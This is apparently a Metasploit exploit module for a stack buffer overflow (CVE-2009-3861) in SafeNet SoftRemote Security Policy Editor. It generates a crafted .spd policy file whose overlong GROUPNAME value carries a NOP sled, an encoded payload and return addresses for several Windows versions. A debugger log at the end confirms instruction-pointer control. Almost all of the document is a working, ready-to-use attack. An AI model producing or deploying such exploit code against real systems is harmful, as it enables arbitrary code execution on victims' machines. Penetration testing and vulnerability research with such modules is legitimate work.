SafeNet SoftRemote GROUPNAME Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SafeNet SoftRemote GROUPNAME Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in SafeNet SoftRemote  
Security Policy Editor <= 10.8.5. When an attacker  
creates a specially formatted security policy with an  
overly long GROUPNAME argument, it is possible to execute  
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'CVE', '2009-3861' ],  
[ 'OSVDB', '59660'],  
[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-09-008' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},   
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ],   
[ 'WinSrv 2000 SP4 English', { 'Ret' => 0x78344dd3 } ],  
[ 'WinSrv 2000 SP2 English', { 'Ret' => 0x7843c1a1 } ],   
[ 'WinSrv 2003 Enterprise Edition SP1 (v1023) English', { 'Ret' => 0x7741246b } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 30 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.spd']),  
], self.class)  
  
end  
  
def exploit  
# Need to cause the access violation!!  
sploit = rand_text_alpha_upper(20024)  
  
sploit[92,4] = [target.ret].pack('V')  
# Play it safe.  
sploit[96,100] = "\x90" * 100  
sploit[196,payload.encoded.length] = payload.encoded  
  
spd = "REGEDIT4\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL]\n"  
spd << "\"CrlPollInterval\"=dword:00000001\n"  
spd << "\"CertPollingInterval\"=dword:0000000f\n"  
spd << "\"PolicyInterval\"=dword:000005a0\n"  
spd << "\"NETPROC\"=dword:00000003\n"  
spd << "\"LACTNETPROC\"=dword:00000003\n"  
spd << "\"BUILDVER\"=\"10.8.1 (Build 10)\"\n"  
spd << "\"NONNIPPROC\"=dword:00000001\n"  
spd << "\"STATICIP\"=dword:00000000\n"  
spd << "\"ENABLEGATEWAY\"=dword:00000000\n"  
spd << "\"ENABLELOGGING\"=dword:00000000\n"  
spd << "\"RETRANSTIMER\"=dword:0000000f\n"  
spd << "\"RETRYCOUNTER\"=dword:00000003\n"  
spd << "\"NOTIFICPAYLOADS\"=dword:00000001\n"  
spd << "\"PolicyServerPort\"=dword:00000185\n"  
spd << "\"UsePolicyServer\"=dword:00000000\n"  
spd << "\"PolicyServerName\"=""\n"  
spd << "\"NewPolicyResetsConns\"=dword:00000000\n"  
spd << "\"UseCerts\"=dword:00000000\n"  
spd << "\"PublishMyCert\"=dword:00000001\n"  
spd << "\"PolicySubtree\"=\"ou=SoftRemote, o=SafeNet\"\n"  
spd << "\"PDPMode\"=dword:00000000\n"  
spd << "\"PDPUrl\"=\"\"\n"  
spd << "\"UseProxyServer\"=dword:00000000\n"  
spd << "\"ProxyServer\"=\"\"\n"  
spd << "\"LdapServer\"=\"\"\n"  
spd << "\"DefaultCrlUrl\"=\"\"\n"  
spd << "\"EnableCrlPolling\"=dword:00000000\n"  
spd << "\"SCARD_CLEARS_KEYS\"=dword:00000000\n"  
spd << "\"VPNRequiresFirewall\"=dword:00000000\n"  
spd << "\"BypassRequiresFirewall\"=dword:00000000\n"  
spd << "\"MapVPNToFirewall\"=dword:00000000\n"  
spd << "\"MapPolicyToFirewall\"=dword:00000000\n"  
spd << "\"MapBypassToFirewall\"=dword:00000000\n"  
spd << "\"EnableFirewallLogging\"=dword:00000000\n"  
spd << "\"TCPENCAPPORT\"=dword:00000000\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0]\n"  
spd << "\"ACTION\"=dword:00000001\n"  
spd << "\"TREENAME\"=\"Other Connections\"\n"  
spd << "\"GROUPID\"=\"_SafeNet_Default_Group\"\n"  
spd << "\"LOCKMODE\"=dword:00000000\n"  
spd << "\"USEMANKEYS\"=dword:00000000\n"  
spd << "\"USEPPKS\"=dword:00000000\n"  
spd << "\"USEPFS\"=dword:00000000\n"  
spd << "\"REPLAYDETECT\"=dword:00000001\n"  
spd << "\"MANUALONLY\"=dword:00000000\n"  
spd << "\"AGGRMODE\"=dword:00000000\n"  
spd << "\"P2GROUPDESC\"=dword:00000002\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID]\n"  
spd << "\"CERTIFICATELABEL\"=\"\"\n"  
spd << "\"CERTIFICATEISSUER\"=hex:\n"  
spd << "\"PORT\"=dword:ffffffff\n"  
spd << "\"PORTNAME\"=\"All\"\n"  
spd << "\"NET_INTFC\"=\"\"\n"  
spd << "\"InternalIP\"=dword:00000000\n"  
spd << "\"AUTOCERT\"=dword:00000001\n"  
spd << "\"TYPE\"=dword:00000009\n"  
spd << "\"FQDN\"=\"\"\n"  
spd << "\"UFQDN\"=\"\"\n"  
spd << "\"DN\"=hex:\n"  
spd << "\"PRESHR\"=hex:\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID\\VASUPPORT]\n"  
spd << "\"VASUPPORT\"=dword:00000000\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH1PROPOSAL_0]\n"  
spd << "\"AUTHMETHOD\"=dword:00000003\n"  
spd << "\"PH1ENCRALG\"=dword:00000005\n"  
spd << "\"PH1KEYLEN\"=dword:00000000\n"  
spd << "\"PH1HASHALG\"=dword:00000002\n"  
spd << "\"GROUPDESC\"=dword:00000002\n"  
spd << "\"IKESALIFETYPE\"=dword:00000000\n"  
spd << "\"IKESADUR_KB\"=dword:00000000\n"  
spd << "\"IKESADUR_SEC\"=dword:00000000\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH2PROPOSAL_0]\n"  
spd << "\"AH\"=dword:00000000\n"  
spd << "\"AHTRANSFORM\"=dword:00000003\n"  
spd << "\"AHENCAPMODE\"=dword:00000001\n"  
spd << "\"ESP\"=dword:00000001\n"  
spd << "\"KEYLENGTH\"=dword:00000000\n"  
spd << "\"ESPTRANSFORM\"=dword:00000003\n"  
spd << "\"ESPKEYLEN\"=dword:00000000\n"  
spd << "\"ESPHASHALG\"=dword:00000002\n"  
spd << "\"ESPENCAPMODE\"=dword:00000001\n"  
spd << "\"KEYLIFETYPE\"=dword:00000000\n"  
spd << "\"KEYDUR_KB\"=dword:00000000\n"  
spd << "\"KEYDUR_SEC\"=dword:00000000\n"  
spd << "\"IPCOMP\"=dword:00000000\n"  
spd << "\"IPCOMPTRANSFORM\"=dword:00000000\n"  
spd << "\"INMANSPI\"=dword:00000100\n"  
spd << "\"INMANAHKEY\"=hex:\n"  
spd << "\"INMANESPENCRKEY\"=hex:\n"  
spd << "\"INMANESPHMACKEY\"=hex:\n"  
spd << "\"OUTMANSPI\"=dword:00000100\n"  
spd << "\"OUTMANAHKEY\"=hex:\n"  
spd << "\"OUTMANESPENCRKEY\"=hex:\n"  
spd << "\"OUTMANESPHMACKEY\"=hex:\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PROXYADDRESS]\n"  
spd << "\"TYPE\"=dword:00000001\n"  
spd << "\"ADDR1\"=dword:00000000\n"  
spd << "\"ADDR2\"=dword:00000000\n"  
spd << "\"IPADDR\"=dword:00000000\n"  
spd << "\"USELDAP\"=dword:00000000\n"  
spd << "\"LOCATIONTYPE\"=dword:00000001\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\REMOTEADDRESS]\n"  
spd << "\"TYPE\"=dword:00000001\n"  
spd << "\"ADDR1\"=dword:00000000\n"  
spd << "\"ADDR2\"=dword:00000000\n"  
spd << "\"IPADDR\"=dword:00000000\n"  
spd << "\"PROTOCOL\"=dword:ffffffff\n"  
spd << "\"PORT\"=dword:ffffffff\n"  
spd << "\"PORTNAME\"=\"All\"\n"  
spd << "\"USELDAP\"=dword:00000000\n"  
spd << "\"USESGW\"=dword:00000000\n"  
spd << "\"SGWOPTIONS\"=dword:00000000\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\CertReqDef]\n"  
spd << "\"NameChoice\"=dword:00000000\n"  
spd << "\"DeptChoice\"=dword:00000000\n"  
spd << "\"CompanyChoice\"=dword:00000000\n"  
spd << "\"StateChoice\"=dword:00000000\n"  
spd << "\"CountryChoice\"=dword:00000000\n"  
spd << "\"EmailChoice\"=dword:00000000\n"  
spd << "\"HostChoice\"=dword:00000000\n"  
spd << "\"IPChoice\"=dword:00000000\n"  
spd << "\"GetDefName\"=dword:00000001\n"  
spd << "\"GetDefDept\"=dword:00000000\n"  
spd << "\"GetDefCompany\"=dword:00000001\n"  
spd << "\"GetDefState\"=dword:00000000\n"  
spd << "\"GetDefCountry \"=dword:00000001\n"  
spd << "\"GetDefEmail\"=dword:00000001\n"  
spd << "\"GetDefHost\"=dword:00000001\n"  
spd << "\"GetDefIP\"=dword:00000001\n"  
spd << "\"DeptValue\"=\"\"\n"  
spd << "\"CompanyValue\"=\"\"\n"  
spd << "\"StateValue\"=\"\"\n"  
spd << "\"CountryValue\"=\"\"\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\GROUPDEFS]\r\n\r\n"  
spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\GROUPDEFS\\_SafeNet_Default_Group]\n"  
spd << "\"GROUPLOCK\"=dword:00000000\n"  
spd << "\"GROUPNAME\"=\"#{sploit}\""  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(spd)  
  
end  
  
end  
=begin  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0012c454 ebx=7e42f3c2 ecx=00bbe744 edx=00130000 esi=0012cfe0 edi=00bb54f0  
eip=7c80beb9 esp=0012c430 ebp=0012c454 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -  
kernel32!lstrcpy+0x18:  
7c80beb9 8802 mov byte ptr [edx],al ds:0023:00130000=41  
0:000> !exchain  
0012c444: kernel32!ValidateLocale+2b0 (7c839ad8)  
0012c4f8: 41386341  
Invalid exception stack at 37634136  
0:000> !load byakugan  
[Byakugan] Successfully loaded!  
0:000> !pattern_offset 20024 0x41386341  
[Byakugan] Control of 0x41386341 at offset 84.  
0:000> !pattern_offset 20024 0x37634136  
[Byakugan] Control of 0x37634136 at offset 80.  
0:000> !pattern_offset 20024  
[Byakugan] Control of ecx at offset 80.  
[Byakugan] Control of eip at offset 92.  
=end  
`